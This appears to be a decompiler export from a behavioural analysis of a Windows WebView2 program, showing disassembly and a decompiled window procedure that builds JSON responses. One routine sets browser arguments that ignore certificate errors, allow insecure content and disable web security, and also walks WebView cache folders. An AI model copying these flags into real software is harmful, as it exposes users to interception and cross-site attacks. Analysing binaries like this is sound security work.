140001e080f 29 84 24 50 01 00 00MOVAPS xmmword ptr [RSP + local_488[0]],XMM0
140001e1048 8d 94 24 50 01 00 00LEA RDX,[RSP + 0x150]
140001e1848 89 c1MOV RCX,RAX
140001e1bff 15 7f 04 0b 00CALL qword ptr [PTR_DwmExtendFrameIntoClientArea_1400b22a0]
140001e21c7 84 24 3c 01 00 00 01 …MOV dword ptr [RSP + local_49c],0x1
140001e2c48 8b 0d 1d 76 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140001e334c 8d 84 24 3c 01 00 00LEA R8,[RSP + 0x13c]
140001e3bba 14 00 00 00MOV EDX,0x14
140001e4041 b9 04 00 00 00MOV R9D,0x4
140001e46ff 15 5c 04 0b 00CALL qword ptr [PTR_DwmSetWindowAttribute_1400b22a8]
140001e4c48 8d 0d 3d 94 09 00LEA RCX,[u_ntdll.dll_14009b290]; "ntdll.dll"
140001e53ff 15 5f 0a 0b 00CALL qword ptr [PTR_GetModuleHandleW_1400b28b8]
140001e5948 85 c0TEST RAX,RAX
140001e5c74 78JZ LAB_140001ed6
140001e5e48 8d 15 3f 94 09 00LEA RDX,[s_RtlGetVersion_14009b2a4]; "RtlGetVersion"
140001e6548 89 c1MOV RCX,RAX
140001e68ff 15 52 0a 0b 00CALL qword ptr [PTR_GetProcAddress_1400b28c0]
140001e6e48 89 c6MOV RSI,RAX
140001e7148 85 c0TEST RAX,RAX
140001e7474 60JZ LAB_140001ed6
140001e7648 8d 8c 24 64 01 00 00LEA RCX,[RSP + 0x164]
140001e7e41 b8 18 01 00 00MOV R8D,0x118
140001e8431 d2XOR EDX,EDX
140001e86e8 c5 83 09 00CALL memset
140001e8bc7 84 24 60 01 00 00 1c …MOV dword ptr [RSP + local_478[0]],0x11c
140001e9648 8d 8c 24 60 01 00 00LEA RCX,[RSP + 0x160]
140001e9eff d6CALL RSI
140001ea085 c0TEST EAX,EAX
140001ea275 32JNZ LAB_140001ed6
140001ea481 bc 24 6c 01 00 00 f0 …CMP dword ptr [RSP + local_478[12]],0x55f0
140001eaf72 25JC LAB_140001ed6
140001eb1c7 44 24 60 02 00 00 00MOV dword ptr [RSP + local_578[0]],0x2
140001eb948 8b 0d 90 75 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140001ec04c 8d 44 24 60LEA R8,[RSP + 0x60]
140001ec5ba 21 00 00 00MOV EDX,0x21
140001eca41 b9 04 00 00 00MOV R9D,0x4
140001ed0ff 15 d2 03 0b 00CALL qword ptr [PTR_DwmSetWindowAttribute_1400b22a8]
LAB_140001ed6:
140001ed648 8b 0d 73 75 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140001eddff 15 e5 04 0b 00CALL qword ptr [PTR_UpdateWindow_1400b23c8]
140001ee30f 57 c0XORPS XMM0,XMM0
140001ee60f 29 84 24 60 01 00 00MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
140001eee48 c7 84 24 70 01 00 00 …MOV qword ptr [RSP + local_468],0x0
140001efa48 8d 15 b1 93 09 00LEA RDX,[u_userdata_14009b2b2]; "userdata"
140001f014c 8d 05 ba 93 09 00LEA R8,[u__14009b2b2+0x10]
140001f0848 8d 8c 24 60 01 00 00LEA RCX,[RSP + 0x160]
140001f10e8 ab 2e 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140001f15f6 05 1c 75 0c 00 01TEST byte ptr [DAT_1400c9438],0x1
140001f1c75 20JNZ LAB_140001f3e
140001f1e48 8b 05 23 75 0c 00MOV RAX,qword ptr [DAT_1400c9448]
140001f2548 89 84 24 90 00 00 00MOV qword ptr [RSP + local_548],RAX
140001f2d0f 10 05 04 75 0c 00MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
140001f340f 29 84 24 80 00 00 00MOVAPS xmmword ptr [RSP + local_558[0]],XMM0
140001f3ceb 1bJMP LAB_140001f59
LAB_140001f3e:
140001f3e48 8b 15 03 75 0c 00MOV RDX,qword ptr [DAT_1400c9448]
140001f454c 8b 05 f4 74 0c 00MOV R8,qword ptr [DAT_1400c9440]
140001f4c48 8d 8c 24 80 00 00 00LEA RCX,[RSP + 0x80]
140001f54e8 d7 2b 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_140001f59:
140001f5948 8d 8c 24 80 00 00 00LEA RCX,[RSP + 0x80]
140001f6148 8d 94 24 60 01 00 00LEA RDX,[RSP + 0x160]
140001f69e8 e2 30 00 00CALL FUN_140005050; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
140001f6ef6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_478[0]],0x1
140001f7674 0dJZ LAB_140001f85
140001f7848 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_468]
140001f80e8 5b d9 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140001f85:
140001f85c7 84 24 c0 00 00 00 00 …MOV dword ptr [RSP + local_518[0]],0x0
140001f90e8 5b 41 01 00CALL FUN_1400160f0; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
140001f9548 89 84 24 c8 00 00 00MOV qword ptr [RSP + local_518[8]],RAX
140001f9d45 31 e4XOR R12D,R12D
140001fa04c 8d 2d 19 99 09 00LEA R13,[PTR_u_EBWebView\Cache_14009b8c0]
140001fa70f 57 f6XORPS XMM6,XMM6
140001faa48 8d 74 24 60LEA RSI,[RSP + 0x60]
140001faf48 8d 9c 24 60 01 00 00LEA RBX,[RSP + 0x160]
140001fb74c 8d b4 24 c0 00 00 00LEA R14,[RSP + 0xc0]
140001fbfeb 1dJMP LAB_140001fde
LAB_140001fd0:
140001fd049 83 c4 08ADD R12,0x8
140001fd449 83 fc 28CMP R12,0x28
140001fd80f 84 c1 00 00 00JZ LAB_14000209f
LAB_140001fde:
140001fde4f 8b 3c 2cMOV R15,qword ptr [R12 + R13*0x1]
140001fe20f 29 74 24 60MOVAPS xmmword ptr [RSP + local_578[0]],XMM6
140001fe748 c7 44 24 70 00 00 00 …MOV qword ptr [RSP + local_568],0x0
140001ff04c 89 f9MOV RCX,R15; "EBWebView\\Cache"
140001ff3e8 98 82 09 00CALL wcslen
140001ff84d 8d 04 47LEA R8,[R15 + RAX*0x2]
140001ffc48 89 f1MOV RCX,RSI
140001fff4c 89 faMOV RDX,R15; "EBWebView\\Cache"
140002002e8 b9 2d 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
140002007f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
14000200f75 2fJNZ LAB_140002040
14000201148 8b 84 24 90 00 00 00MOV RAX,qword ptr [RSP + local_548]
14000201948 89 84 24 70 01 00 00MOV qword ptr [RSP + local_468],RAX
1400020210f 28 84 24 80 00 00 00MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
1400020290f 29 84 24 60 01 00 00MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
140002031eb 25JMP LAB_140002058
LAB_140002040:
1400020404c 8b 84 24 88 00 00 00MOV R8,qword ptr [RSP + local_558[8]]
14000204848 8b 94 24 90 00 00 00MOV RDX,qword ptr [RSP + local_548]
14000205048 89 d9MOV RCX,RBX
140002053e8 d8 2a 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_140002058:
14000205848 89 d9MOV RCX,RBX
14000205b48 89 f2MOV RDX,RSI
14000205ee8 ed 2f 00 00CALL FUN_140005050; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
14000206348 89 d9MOV RCX,RBX
1400020664c 89 f2MOV RDX,R14
140002069e8 b2 85 01 00CALL FUN_14001a620; FUN_14001a620: CreateFileW, CloseHandle, GetLastError, FindNextFileW +4
14000206ef6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_478[0]],0x1
14000207674 0dJZ LAB_140002085
14000207848 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_468]
140002080e8 5b d8 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002085:
140002085f6 44 24 60 01TEST byte ptr [RSP + local_578[0]],0x1
14000208a0f 84 40 ff ff ffJZ LAB_140001fd0
14000209048 8b 4c 24 70MOV RCX,qword ptr [RSP + local_568]
140002095e8 46 d8 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000209ae9 31 ff ff ffJMP LAB_140001fd0
LAB_14000209f:
14000209f48 8d 0d 1e 92 09 00LEA RCX,[u_WEBVIEW2_ADDITIONAL_BROWSER_ARGU_14009b2c4]; "WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS"
1400020a648 8d 15 63 92 09 00LEA RDX,[u_--ignore-certificate-errors_--al_14009b310]; "--ignore-certificate-errors --allow-running-insecure-content --disable-web-secur…"
1400020adff 15 f5 08 0b 00CALL qword ptr [PTR_SetEnvironmentVariableW_1400b29a8]
1400020b3f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
1400020bb75 22JNZ LAB_1400020df
1400020bd48 8b 84 24 90 00 00 00MOV RAX,qword ptr [RSP + local_548]
1400020c548 89 84 24 70 01 00 00MOV qword ptr [RSP + local_468],RAX
1400020cd0f 28 84 24 80 00 00 00MOVAPS XMM0,xmmword ptr [RSP + local_558[0]]
1400020d50f 29 84 24 60 01 00 00MOVAPS xmmword ptr [RSP + local_478[0]],XMM0
1400020ddeb 1dJMP LAB_1400020fc
LAB_1400020df:
1400020df4c 8b 84 24 88 00 00 00MOV R8,qword ptr [RSP + local_558[8]]
1400020e748 8b 94 24 90 00 00 00MOV RDX,qword ptr [RSP + local_548]
1400020ef48 8d 8c 24 60 01 00 00LEA RCX,[RSP + 0x160]
1400020f7e8 34 2a 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_1400020fc:
1400020fc0f b6 9c 24 60 01 00 00MOVZX EBX,byte ptr [RSP + local_478[0]]
14000210448 8b b4 24 70 01 00 00MOV RSI,qword ptr [RSP + local_468]
14000210cb9 10 00 00 00MOV ECX,0x10
140002111e8 ea d6 01 00CALL FUN_14001f800; FUN_14001f800: malloc
140002116f6 c3 01TEST BL,0x1
14000211948 8d 8c 24 62 01 00 00LEA RCX,[RSP + 0x162]
14000212148 0f 44 f1CMOVZ RSI,RCX
1400021250f 57 c0XORPS XMM0,XMM0
1400021280f 29 00MOVAPS xmmword ptr [RAX],XMM0
14000212b48 8d 0d 7e cf 09 00LEA RCX,[PTR_LAB_14009f0b0]
14000213248 89 08MOV qword ptr [RAX],RCX
140002135c7 40 08 01 00 00 00MOV dword ptr [RAX + 0x8],0x1
14000213c31 c9XOR ECX,ECX
14000213e48 89 f2MOV RDX,RSI
14000214145 31 c0XOR R8D,R8D
14000214449 89 c1MOV R9,RAX
140002147ff d7CALL RDI
14000214989 c6MOV ESI,EAX
14000214bf6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_478[0]],0x1
14000215374 0dJZ LAB_140002162
14000215548 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_468]
14000215de8 7e d7 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002162:
14000216285 f6TEST ESI,ESI
1400021640f 88 f4 00 00 00JS LAB_14000225e
14000216a48 8d b4 24 60 01 00 00LEA RSI,[RSP + 0x160]
14000217248 8b 3d c7 01 0b 00MOV RDI,qword ptr [PTR_GetMessageW_1400b2340]
14000217948 8b 1d 40 02 0b 00MOV RBX,qword ptr [PTR_TranslateMessage_1400b23c0]
1400021804c 8b 35 99 01 0b 00MOV R14,qword ptr [PTR_DispatchMessageW_1400b2320]
14000218766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_140002190:
14000219048 89 f1MOV RCX,RSI
14000219331 d2XOR EDX,EDX
14000219545 31 c0XOR R8D,R8D
14000219845 31 c9XOR R9D,R9D
14000219bff d7CALL RDI
14000219d85 c0TEST EAX,EAX
14000219f74 0dJZ LAB_1400021ae
1400021a148 89 f1MOV RCX,RSI
1400021a4ff d3CALL RBX
1400021a648 89 f1MOV RCX,RSI
1400021a941 ff d6CALL R14
1400021aceb e2JMP LAB_140002190
LAB_1400021ae:
1400021ae48 8b 0d a3 72 0c 00MOV RCX,qword ptr [DAT_1400c9458]
1400021b548 85 c9TEST RCX,RCX
1400021b874 06JZ LAB_1400021c0
1400021ba48 8b 01MOV RAX,qword ptr [RCX]
1400021bdff 50 10CALL qword ptr [RAX + 0x10]
LAB_1400021c0:
1400021c048 8b 0d 99 72 0c 00MOV RCX,qword ptr [DAT_1400c9460]
1400021c748 85 c9TEST RCX,RCX
1400021ca74 06JZ LAB_1400021d2
1400021cc48 8b 01MOV RAX,qword ptr [RCX]
1400021cfff 50 10CALL qword ptr [RAX + 0x10]
LAB_1400021d2:
1400021d2ff 15 b8 00 0b 00CALL qword ptr [PTR_CoUninitialize_1400b2290]
1400021d831 f6XOR ESI,ESI
1400021daf6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
1400021e274 0dJZ LAB_1400021f1
LAB_1400021e4:
1400021e448 8b 8c 24 90 00 00 00MOV RCX,qword ptr [RSP + local_548]
1400021ece8 ef d6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400021f1:
1400021f1f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_538[0]],0x1
1400021f974 0dJZ LAB_140002208
1400021fb48 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_528]
140002203e8 d8 d6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002208:
14000220889 f0MOV EAX,ESI
14000220a0f 28 b4 24 80 05 00 00MOVAPS XMM6,xmmword ptr [RSP + local_58[0]]
14000221248 81 c4 98 05 00 00ADD RSP,0x598
1400022195bPOP RBX
14000221a5dPOP RBP
14000221b5fPOP RDI
14000221c5ePOP RSI
14000221d41 5cPOP R12
14000221f41 5dPOP R13
14000222141 5ePOP R14
14000222341 5fPOP R15
140002225c3RET
LAB_140002226:
14000222648 8b 4c 24 70MOV RCX,qword ptr [RSP + local_568]
14000222be8 b0 d6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002230f6 84 24 c0 00 00 00 01TEST byte ptr [RSP + local_518[0]],0x1
1400022380f 84 99 f7 ff ffJZ LAB_1400019d7
LAB_14000223e:
14000223e48 8b 8c 24 d0 00 00 00MOV RCX,qword ptr [RSP + local_508]
140002246e8 95 d6 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000224bf6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
1400022530f 85 88 f7 ff ffJNZ LAB_1400019e1
140002259e9 90 f7 ff ffJMP LAB_1400019ee
LAB_14000225e:
14000225ebe 01 00 00 00MOV ESI,0x1
140002263f6 84 24 80 00 00 00 01TEST byte ptr [RSP + local_558[0]],0x1
14000226b0f 85 73 ff ff ffJNZ LAB_1400021e4
140002271e9 7b ff ff ffJMP LAB_1400021f1
LAB_140002276:
140002276e8 75 27 00 00CALL FUN_1400049f0; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx
LAB_14000227b:
14000227be8 d0 2a 00 00CALL FUN_140004d50; FUN_140004d50: __acrt_iob_func, RtlUnwindEx
LAB_140002280:
140002280e8 0b 28 00 00CALL FUN_140004a90; FUN_140004a90: _aligned_malloc, memset, __acrt_iob_func, RaiseException

WndProc

0x140002480878 bytes
undefined8 WndProc(HWND param_1, int param_2, ulonglong param_3, ulonglong * param_4)

Window procedure dispatching WM messages, calls WebView2 setup and JSON response builder

Cited as
E10
Behaviours
B2, B10
Called from
none found
Calls
GetClientRect PostQuitMessage json_response_builder, FUN_140002cd0, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_140013c50, FUN_14001f8e0
Decompiled C · 195 lines
/* WARNING: Type propagation algorithm not settling */

undefined8 WndProc(HWND param_1,int param_2,ulonglong param_3,ulonglong *param_4)

{
  ulonglong uVar1;
  undefined1 *puVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined8 uVar5;
  ulonglong uVar6;
  ulonglong *puVar7;
  ulonglong *puVar8;
  char *pcVar9;
  tagRECT local_108;
  void *local_f8;
  byte local_f0;
  undefined1 local_ef [7];
  ulonglong local_e8;
  undefined1 *local_e0;
  ulonglong local_d8;
  ulonglong uStack_d0;
  void *local_c8;
  ulonglong local_b8;
  ulonglong uStack_b0;
  void *local_a8;
  ulonglong local_98;
  ulonglong uStack_90;
  void *local_88;
  byte local_80 [16];
  void *local_70;
  LONG local_68;
  LONG LStack_64;
  LONG LStack_60;
  LONG LStack_5c;
  undefined2 local_50 [24];
  
  uVar3 = DAT_1400c9000;
  switch(param_2) {
  case 2:
    PostQuitMessage(0);
    break;
  case 3:
    if (DAT_1400c9458 != (longlong *)0x0) {
      (**(code **)(*DAT_1400c9458 + 0xb8))();
    }
    break;
  case 4:
  case 7:
  case 8:
  case 9:
  case 10:
  case 0xb:
  case 0xc:
  case 0xd:
  case 0xe:
  case 0xf:
  case 0x10:
  case 0x11:
  case 0x12:
  case 0x13:
  case 0x14:
  case 0x15:
  case 0x16:
  case 0x17:
  case 0x18:
  case 0x19:
  case 0x1a:
  case 0x1b:
  case 0x1c:
  case 0x1d:
  case 0x1e:
  case 0x1f:
  case 0x20:
  case 0x21:
  case 0x22:
  case 0x23:
switchD_1400024aa_caseD_4:
                    /* WARNING: Could not recover jumptable at 0x0001400024f4. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    uVar5 = DefWindowProcW();
    return uVar5;
  case 5:
    if ((param_3 != 1) && (DAT_1400c9458 != (longlong *)0x0)) {
      GetClientRect(param_1,&local_108);
      local_68 = local_108.left;
      LStack_64 = local_108.top;
      LStack_60 = local_108.right;
      LStack_5c = local_108.bottom;
      (**(code **)(*DAT_1400c9458 + 0x30))(DAT_1400c9458,&local_68);
    }
    break;
  case 6:
    if ((short)param_3 != 0 && DAT_1400c9458 != (longlong *)0x0) {
      (**(code **)(*DAT_1400c9458 + 0x60))(DAT_1400c9458,0);
    }
    break;
  case 0x24:
    *(undefined4 *)(param_4 + 3) = DAT_1400c9000;
    uVar4 = DAT_1400c9004;
    *(undefined4 *)((longlong)param_4 + 0x1c) = DAT_1400c9004;
    *(undefined4 *)(param_4 + 4) = uVar3;
    *(undefined4 *)((longlong)param_4 + 0x24) = uVar4;
    break;
  default:
    if (param_2 != 0x8001) goto switchD_1400024aa_caseD_4;
    if (param_4 == (ulonglong *)0x0) {
      return 0;
    }
    if (((byte)param_4[5] & 1) == 0) {
      uVar6 = (ulonglong)(byte)((byte)param_4[5] >> 1);
    }
    else {
      uVar6 = param_4[6];
    }
    uVar1 = *param_4;
    if (uVar6 == 0) {
      puVar8 = param_4;
      FUN_140013c50((longlong *)local_80,(ulonglong)(uint)param_4[1],param_3,(undefined *)param_4);
      pcVar9 = "{\"status\":";
      puVar7 = (ulonglong *)FUN_14000eec0((ulonglong *)local_80,0,(byte *)"{\"status\":");
      local_c8 = (void *)puVar7[2];
      local_d8 = *puVar7;
      uStack_d0 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      puVar7 = (ulonglong *)FUN_14000ea50(&local_d8,",\"body\":\"",pcVar9,puVar8);
      local_a8 = (void *)puVar7[2];
      local_b8 = *puVar7;
      uStack_b0 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      FUN_140002cd0((ulonglong *)&local_f0,(byte *)(param_4 + 2),pcVar9,puVar8);
      uVar6 = (ulonglong)(local_f0 >> 1);
      puVar2 = local_ef;
      if ((local_f0 & 1) != 0) {
        uVar6 = local_e8;
        puVar2 = local_e0;
      }
      puVar7 = FUN_14000ea80(&local_b8,puVar2,uVar6,puVar8);
      local_88 = (void *)puVar7[2];
      local_98 = *puVar7;
      uStack_90 = puVar7[1];
      *puVar7 = 0;
      puVar7[1] = 0;
      puVar7[2] = 0;
      puVar8 = (ulonglong *)FUN_14000ea50(&local_98,"\"}",uVar6,puVar8);
      local_f8 = (void *)puVar8[2];
      local_108._0_8_ = *puVar8;
      local_108._8_8_ = puVar8[1];
      *puVar8 = 0;
      puVar8[1] = 0;
      puVar8[2] = 0;
      local_50[0] = 0;
      json_response_builder(uVar1,'\x01',(byte *)&local_108,(byte *)local_50);
      if ((local_108._0_8_ & 1) != 0) {
        FUN_14001f8e0(local_f8);
      }
      if ((local_98 & 1) != 0) {
        FUN_14001f8e0(local_88);
      }
      if ((local_f0 & 1) != 0) {
        FUN_14001f8e0(local_e0);
      }
      if ((local_b8 & 1) != 0) {
        FUN_14001f8e0(local_a8);
      }
      if ((local_d8 & 1) != 0) {
        FUN_14001f8e0(local_c8);
      }
      if ((local_80[0] & 1) != 0) goto LAB_1400027a7;
    }
    else {
      local_108._0_8_ = local_108._0_8_ & 0xffffffffffff0000;
      json_response_builder(uVar1,'\0',(byte *)&local_108,(byte *)(param_4 + 5));
      local_70 = local_f8;
      if ((local_108._0_8_ & 1) != 0) {
LAB_1400027a7:
        FUN_14001f8e0(local_70);
      }
    }
    if ((param_4[5] & 1) != 0) {
      FUN_14001f8e0((void *)param_4[7]);
    }
    if ((param_4[2] & 1) != 0) {
      FUN_14001f8e0((void *)param_4[4]);
    }
    FUN_14001f8e0(param_4);
  }
  return 0;
}

Assembly · 198 instructions, 19 annotated
AddressBytesInstructionComment
14000248041 56PUSH R14
14000248256PUSH RSI
14000248357PUSH RDI
14000248453PUSH RBX
14000248548 81 ec 08 01 00 00SUB RSP,0x108
14000248c0f 29 b4 24 f0 00 00 00MOVAPS xmmword ptr [RSP + local_38[0]],XMM6
1400024948d 42 feLEA EAX,[RDX + -0x2]
14000249783 f8 22CMP EAX,0x22
14000249a77 1dJA default
14000249c4c 8d 15 fd 8b 09 00LEA R10,[switchdataD_14009b0a0]
1400024a349 63 04 82MOVSXD RAX,dword ptr [R10 + RAX*0x4]
1400024a74c 01 d0ADD RAX,R10
1400024aaff e0JMP RAX
caseD_2:
1400024ac31 c9XOR ECX,ECX
1400024aeff 15 c4 fe 0a 00CALL qword ptr [PTR_PostQuitMessage_1400b2378]
1400024b4e9 1e 03 00 00JMP LAB_1400027d7
default:
1400024b981 fa 01 80 00 00CMP EDX,0x8001
1400024bf75 1fJNZ caseD_4
1400024c14d 85 c9TEST R9,R9
1400024c40f 84 0d 03 00 00JZ LAB_1400027d7
1400024ca41 0f b6 41 28MOVZX EAX,byte ptr [R9 + 0x28]
1400024cfa8 01TEST AL,0x1
1400024d10f 84 d6 00 00 00JZ LAB_1400025ad
1400024d749 8b 41 30MOV RAX,qword ptr [R9 + 0x30]
1400024dbe9 cf 00 00 00JMP LAB_1400025af
caseD_4:
1400024e00f 28 b4 24 f0 00 00 00MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
1400024e848 81 c4 08 01 00 00ADD RSP,0x108
1400024ef5bPOP RBX
1400024f05fPOP RDI
1400024f15ePOP RSI
1400024f241 5ePOP R14
1400024f448 ff 25 1d fe 0a 00JMP qword ptr [PTR_DefWindowProcW_1400b2318]
caseD_24:
1400024fb8b 05 ff 6a 0c 00MOV EAX,dword ptr [DAT_1400c9000]
14000250141 89 41 18MOV dword ptr [R9 + 0x18],EAX
1400025058b 0d f9 6a 0c 00MOV ECX,dword ptr [DAT_1400c9004]
14000250b41 89 49 1cMOV dword ptr [R9 + 0x1c],ECX
14000250f41 89 41 20MOV dword ptr [R9 + 0x20],EAX
14000251341 89 49 24MOV dword ptr [R9 + 0x24],ECX
140002517e9 bb 02 00 00JMP LAB_1400027d7
caseD_5:
14000251c49 83 f8 01CMP R8,0x1
1400025200f 84 b1 02 00 00JZ LAB_1400027d7
14000252648 83 3d 2a 6f 0c 00 00CMP qword ptr [DAT_1400c9458],0x0
14000252e0f 84 a3 02 00 00JZ LAB_1400027d7
14000253448 8d 54 24 20LEA RDX,[RSP + 0x20]
140002539ff 15 e9 fd 0a 00CALL qword ptr [PTR_GetClientRect_1400b2328]
14000253f48 8b 0d 12 6f 0c 00MOV RCX,qword ptr [DAT_1400c9458]
1400025460f 10 44 24 20MOVUPS XMM0,xmmword ptr [RSP + local_108[0]]
14000254b0f 29 84 24 c0 00 00 00MOVAPS xmmword ptr [RSP + local_68[0]],XMM0
14000255348 8b 01MOV RAX,qword ptr [RCX]
14000255648 8d 94 24 c0 00 00 00LEA RDX,[RSP + 0xc0]
14000255eff 50 30CALL qword ptr [RAX + 0x30]
140002561e9 71 02 00 00JMP LAB_1400027d7
caseD_3:
14000256648 8b 0d eb 6e 0c 00MOV RCX,qword ptr [DAT_1400c9458]
14000256d48 85 c9TEST RCX,RCX
1400025700f 84 61 02 00 00JZ LAB_1400027d7
14000257648 8b 01MOV RAX,qword ptr [RCX]
140002579ff 90 b8 00 00 00CALL qword ptr [RAX + 0xb8]
14000257fe9 53 02 00 00JMP LAB_1400027d7
caseD_6:
14000258448 8b 0d cd 6e 0c 00MOV RCX,qword ptr [DAT_1400c9458]
14000258b48 85 c9TEST RCX,RCX
14000258e0f 94 c0SETZ AL
14000259166 45 85 c0TEST R8W,R8W
1400025950f 94 c2SETZ DL
14000259808 c2OR DL,AL
14000259a0f 85 37 02 00 00JNZ LAB_1400027d7
1400025a048 8b 01MOV RAX,qword ptr [RCX]
1400025a331 d2XOR EDX,EDX
1400025a5ff 50 60CALL qword ptr [RAX + 0x60]
1400025a8e9 2a 02 00 00JMP LAB_1400027d7
LAB_1400025ad:
1400025add1 e8SHR EAX,0x1
LAB_1400025af:
1400025af49 8d 71 28LEA RSI,[R9 + 0x28]
1400025b349 8b 09MOV RCX,qword ptr [R9]
1400025b648 85 c0TEST RAX,RAX
1400025b94d 89 ceMOV R14,R9
1400025bc74 2bJZ LAB_1400025e9
1400025be66 c7 44 24 20 00 00MOV word ptr [RSP + local_108[0]],0x0
1400025c54c 8d 44 24 20LEA R8,[RSP + 0x20]
1400025ca31 d2XOR EDX,EDX
1400025cc49 89 f1MOV R9,RSI
1400025cfe8 2c 03 00 00CALL json_response_builder; → json_response_builder (B10, E19)
1400025d4f6 44 24 20 01TEST byte ptr [RSP + local_108[0]],0x1
1400025d90f 84 cd 01 00 00JZ LAB_1400027ac
1400025df48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_f8]
1400025e4e9 be 01 00 00JMP LAB_1400027a7
LAB_1400025e9:
1400025e948 89 cfMOV RDI,RCX
1400025ec41 8b 51 08MOV EDX,dword ptr [R9 + 0x8]
1400025f048 8d 9c 24 a8 00 00 00LEA RBX,[RSP + 0xa8]
1400025f848 89 d9MOV RCX,RBX
1400025fbe8 50 16 01 00CALL FUN_140013c50; FUN_140013c50: memcpy
1400026004c 8d 05 3c 92 09 00LEA R8,[s_{"status":_14009b843]; "{\"status\":"
14000260748 89 d9MOV RCX,RBX
14000260a31 d2XOR EDX,EDX
14000260ce8 af c8 00 00CALL FUN_14000eec0; FUN_14000eec0: strlen
14000261148 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000261548 89 4c 24 60MOV qword ptr [RSP + local_c8],RCX
14000261a0f 10 00MOVUPS XMM0,xmmword ptr [RAX]
14000261d0f 29 44 24 50MOVAPS xmmword ptr [RSP + local_d8[0]],XMM0
1400026220f 57 f6XORPS XMM6,XMM6
1400026250f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000262848 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000263048 8d 15 17 92 09 00LEA RDX,[s_,"body":"_14009b84e]; ",\"body\":\""
14000263748 8d 4c 24 50LEA RCX,[RSP + 0x50]
14000263ce8 0f c4 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
14000264148 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000264548 89 8c 24 80 00 00 00MOV qword ptr [RSP + local_a8],RCX
14000264d0f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400026500f 29 44 24 70MOVAPS xmmword ptr [RSP + local_b8[0]],XMM0
1400026550f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000265848 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000266049 8d 56 10LEA RDX,[R14 + 0x10]
14000266448 8d 4c 24 38LEA RCX,[RSP + 0x38]
140002669e8 62 06 00 00CALL FUN_140002cd0; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
14000266e0f b6 44 24 38MOVZX EAX,byte ptr [RSP + local_f0]
14000267341 89 c0MOV R8D,EAX
14000267641 d1 e8SHR R8D,0x1
140002679a8 01TEST AL,0x1
14000267b48 8d 54 24 39LEA RDX,[RSP + 0x39]
14000268048 0f 45 54 24 48CMOVNZ RDX,qword ptr [RSP + local_e0]
1400026864c 0f 45 44 24 40CMOVNZ R8,qword ptr [RSP + local_e8]
14000268c48 8d 4c 24 70LEA RCX,[RSP + 0x70]
140002691e8 ea c3 00 00CALL FUN_14000ea80; FUN_14000ea80: memmove, memcpy
14000269648 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000269a48 89 8c 24 a0 00 00 00MOV qword ptr [RSP + local_88],RCX
1400026a20f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400026a50f 29 84 24 90 00 00 00MOVAPS xmmword ptr [RSP + local_98[0]],XMM0
1400026ad0f 57 f6XORPS XMM6,XMM6
1400026b00f 11 30MOVUPS xmmword ptr [RAX],XMM6
1400026b348 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
1400026bb48 8d 15 96 91 09 00LEA RDX,[DAT_14009b858]
1400026c248 8d 8c 24 90 00 00 00LEA RCX,[RSP + 0x90]
1400026cae8 81 c3 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
